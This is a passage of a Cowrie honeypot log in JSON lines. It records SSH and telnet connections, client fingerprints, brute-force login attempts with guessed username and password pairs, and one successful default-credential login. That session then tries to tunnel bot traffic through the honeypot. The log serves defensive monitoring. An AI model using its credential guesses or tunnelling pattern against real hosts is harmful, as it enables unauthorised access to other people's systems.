\\x00 \\xd8\\x16\\xc5`:B9\\x1d\\xf60;\\xb5\\xeen\\\\J\\xce\\xd5T\\xbc\\xbb\\xd0d,\\x8d\\xacl\\xdcy\\x114l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:21.676265Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:22.009766Z","src_ip":"123.27.168.40","session":"9d5aa552f1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:22.022065Z","src_ip":"113.164.152.20","session":"32ee7d72abf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6ebec7f41db","protocol":"ssh","message":"New connection: 103.60.242.169:38008 (159.203.135.109:22) [session: a6ebec7f41db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:31.570411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:31.575757Z","src_ip":"103.60.242.169","session":"a6ebec7f41db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:31.830615Z","src_ip":"103.60.242.169","session":"a6ebec7f41db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456789","message":"login attempt [root/qQ123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:32.883808Z","src_ip":"103.60.242.169","session":"a6ebec7f41db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:34.141598Z","src_ip":"103.60.242.169","session":"a6ebec7f41db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44652,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a65a0eb408b","protocol":"ssh","message":"New connection: 147.45.199.80:44652 (10.17.0.5:22) [session: 8a65a0eb408b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:34.325903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:34.330193Z","src_ip":"147.45.199.80","session":"8a65a0eb408b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:34.429584Z","src_ip":"147.45.199.80","session":"8a65a0eb408b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01470258","message":"login attempt [root/01470258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:34.727501Z","src_ip":"147.45.199.80","session":"8a65a0eb408b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:35.831363Z","src_ip":"147.45.199.80","session":"8a65a0eb408b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":50499,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a967d86b03e","protocol":"ssh","message":"New connection: 23.148.145.132:50499 (10.17.0.5:22) [session: 0a967d86b03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:37.930521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:37.934918Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:38.071928Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:41.035490Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59560,"dst_ip":"159.203.135.109","dst_port":22,"session":"89ba2ed4118f","protocol":"ssh","message":"New connection: 27.71.230.31:59560 (159.203.135.109:22) [session: 89ba2ed4118f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:41.706597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:41.856802Z","src_ip":"27.71.230.31","session":"89ba2ed4118f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":57980,"dst_ip":"159.203.135.109","dst_port":22,"session":"842feda0cc69","protocol":"ssh","message":"New connection: 101.79.165.43:57980 (159.203.135.109:22) [session: 842feda0cc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:46.417952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:46.421789Z","src_ip":"101.79.165.43","session":"842feda0cc69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:46.638780Z","src_ip":"101.79.165.43","session":"842feda0cc69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Redhat@2024","message":"login attempt [root/Redhat@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:47.549263Z","src_ip":"101.79.165.43","session":"842feda0cc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":49384,"dst_ip":"159.203.135.109","dst_port":22,"session":"436a1b11a1ce","protocol":"ssh","message":"New connection: 49.247.37.22:49384 (159.203.135.109:22) [session: 436a1b11a1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:47.696712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:47.701781Z","src_ip":"49.247.37.22","session":"436a1b11a1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:47.900511Z","src_ip":"49.247.37.22","session":"436a1b11a1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.66971802711487,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:48.347066Z","src_ip":"128.199.8.54","session":"00cb15f7dd2a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd","message":"login attempt [admin/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:48.737806Z","src_ip":"49.247.37.22","session":"436a1b11a1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:48.769978Z","src_ip":"101.79.165.43","session":"842feda0cc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:49.939642Z","src_ip":"49.247.37.22","session":"436a1b11a1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:49.967488Z","src_ip":"27.71.230.31","session":"89ba2ed4118f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55482,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a2b885ecff7","protocol":"telnet","message":"New connection: 172.81.62.90:55482 (159.203.135.109:23) [session: 6a2b885ecff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:50.424783Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:51.389498Z","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:51.412000Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 OPR/76.0.4017.154\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UClnal9jaCZpVmpPU3M0Xg%3D%3D%2B6hk5KF%2ByOXByTsQHN67%2FcYQMj11mzF4mg2TcMNnFIBlMtKWdp0Xicj0PkWpfOkUFstQ63F62Um8ILaMbBK1uMKWjIlq%2FowRxAZB2i5c5k%2B6DBPobl3mBIQt0ulmTJMxFHLuErJCzyyZu2edc5w89DRdZD6wt2JgQxnCRQ2jnUoUSTGPf3IIzs9Y8V%2B3tb1tUmo8hW98TpgzJHCbz%2FxOnruQl3YvX72Y3exW8XjHX6FCriGsquS0avBZwANz2MLKrN2vjMQpvMiRee2VhlWP1nMYQ2hVsbAGD1dCOwEQRUrQqoJTT944phh%2B2fBZbI0MlvgC7qPSMtduqIra1W4RCT%2Bit9bUaqIJzUwadeAjDTEnWslSdJ6aamFURaZ%2FjpACbo8ZvWxuW0CnnGdbqmXzBHT0IBglnzOYpXMkoKbKafpJ1s7SovDECnM0wV%2BzTn5WKFWqA4bZm4%2BAJtEykjBypG9aNsK2VJCKsHzxcQn1uNESw4jtWLiuKDbmat6o5kaYdHmoeUp%2Bep6jJHRoODxG%2FQ507yHsGmRQ49yw22RneKVFBzObBRI8y%2FwiYeAUPJgx%2B0TzPfoavAo9XpqjErMsooj2XSXPfj1RaBRfousjVQOrn%2Fe6Ra3wKfCojitx%2FSUilHgP2nHXNGmes8h8OZz7EA3VHNQ73FF4cfT090ZFSq%2FE5AYUWukNV9S2Oez%2FxR3bZzz6Cx9wIPCWeD78JUsPvk%2F%2FI6kmmIyq%2F1smMsetz7XLRYuYqJksl6aCZfcOEqjPZmfbqOHcHb%2BdXEfpEA1Cxn%2FuBXS45TIrk8MMeIiHD%2BrcS%2BOn%2FPfDCBrXO7%2FpGUsBMM4YP%2BKBmoPRvogFiHCD7UfqDe%2FCFpSCNy5%2FmwGfs6W1o%2BzPoidOpoAer1%2B%2Fi%2BOVIqAPP2Es0tt6qYVeTnzZV933Esfstsv%2BtFFWAlsWMrm5W6VG9g44TyqXE2saFE%2FaiwVeMr7C692zsFUwhiIa9DRVMYVoDAufpZHRvhimmw8w6n4ZwGRcZmgcccgOFTKwnTkktVOPe0xer7KHMoL%2F3DRBYeIjToypMdgGSrbznZOEhl1qKP8TahDBdeMdsZt4'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 OPR/76.0.4017.154\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UClnal9jaCZpVmpPU3M0Xg%3D%3D%2B6hk5KF%2ByOXByTsQHN67%2FcYQMj11mzF4mg2TcMNnFIBlMtKWdp0Xicj0PkWpfOkUFstQ63F62Um8ILaMbBK1uMKWjIlq%2FowRxAZB2i5c5k%2B6DBPobl3mBIQt0ulmTJMxFHLuErJCzyyZu2edc5w89DRdZD6wt2JgQxnCRQ2jnUoUSTGPf3IIzs9Y8V%2B3tb1tUmo8hW98TpgzJHCbz%2FxOnruQl3YvX72Y3exW8XjHX6FCriGsquS0avBZwANz2MLKrN2vjMQpvMiRee2VhlWP1nMYQ2hVsbAGD1dCOwEQRUrQqoJTT944phh%2B2fBZbI0MlvgC7qPSMtduqIra1W4RCT%2Bit9bUaqIJzUwadeAjDTEnWslSdJ6aamFURaZ%2FjpACbo8ZvWxuW0CnnGdbqmXzBHT0IBglnzOYpXMkoKbKafpJ1s7SovDECnM0wV%2BzTn5WKFWqA4bZm4%2BAJtEykjBypG9aNsK2VJCKsHzxcQn1uNESw4jtWLiuKDbmat6o5kaYdHmoeUp%2Bep6jJHRoODxG%2FQ507yHsGmRQ49yw22RneKVFBzObBRI8y%2FwiYeAUPJgx%2B0TzPfoavAo9XpqjErMsooj2XSXPfj1RaBRfousjVQOrn%2Fe6Ra3wKfCojitx%2FSUilHgP2nHXNGmes8h8OZz7EA3VHNQ73FF4cfT090ZFSq%2FE5AYUWukNV9S2Oez%2FxR3bZzz6Cx9wIPCWeD78JUsPvk%2F%2FI6kmmIyq%2F1smMsetz7XLRYuYqJksl6aCZfcOEqjPZmfbqOHcHb%2BdXEfpEA1Cxn%2FuBXS45TIrk8MMeIiHD%2BrcS%2BOn%2FPfDCBrXO7%2